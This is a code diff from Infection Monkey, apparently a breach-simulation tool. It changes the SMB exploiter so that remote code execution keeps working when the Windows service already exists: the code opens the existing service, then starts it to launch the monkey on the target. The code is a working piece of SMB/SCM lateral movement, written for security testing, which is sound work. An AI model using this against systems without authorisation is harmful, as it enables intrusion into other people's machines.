Agent: Handle case where SMB service already exists in SMBExploiter

monkey/infection_monkey/exploit/smbexec.py

@@ -1,6 +1,7 @@
 from logging import getLogger
 
 from impacket.dcerpc.v5 import scmr, transport
+from impacket.dcerpc.v5.scmr import DCERPCSessionError
 
 from common.utils.attack_utils import ScanStatus, UsageEnum
 from infection_monkey.exploit.HostExploiter import HostExploiter
@@ -128,13 +129,22 @@ class SMBExploiter(HostExploiter):
         sc_handle = resp["lpScHandle"]
 
         # start the monkey using the SCM
-        resp = scmr.hRCreateServiceW(
-            scmr_rpc,
-            sc_handle,
-            SMBExploiter.SMB_SERVICE_NAME,
-            SMBExploiter.SMB_SERVICE_NAME,
-            lpBinaryPathName=cmdline,
-        )
+        try:
+            resp = scmr.hRCreateServiceW(
+                scmr_rpc,
+                sc_handle,
+                SMBExploiter.SMB_SERVICE_NAME,
+                SMBExploiter.SMB_SERVICE_NAME,
+                lpBinaryPathName=cmdline,
+            )
+        except DCERPCSessionError as err:
+            if err.error_code == 0x431:
+                logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists')
+                resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
+            else:
+                self.exploit_result.error_message = str(err)
+                return self.exploit_result
+
         service = resp["lpServiceHandle"]
         try:
             scmr.hRStartServiceW(scmr_rpc, service)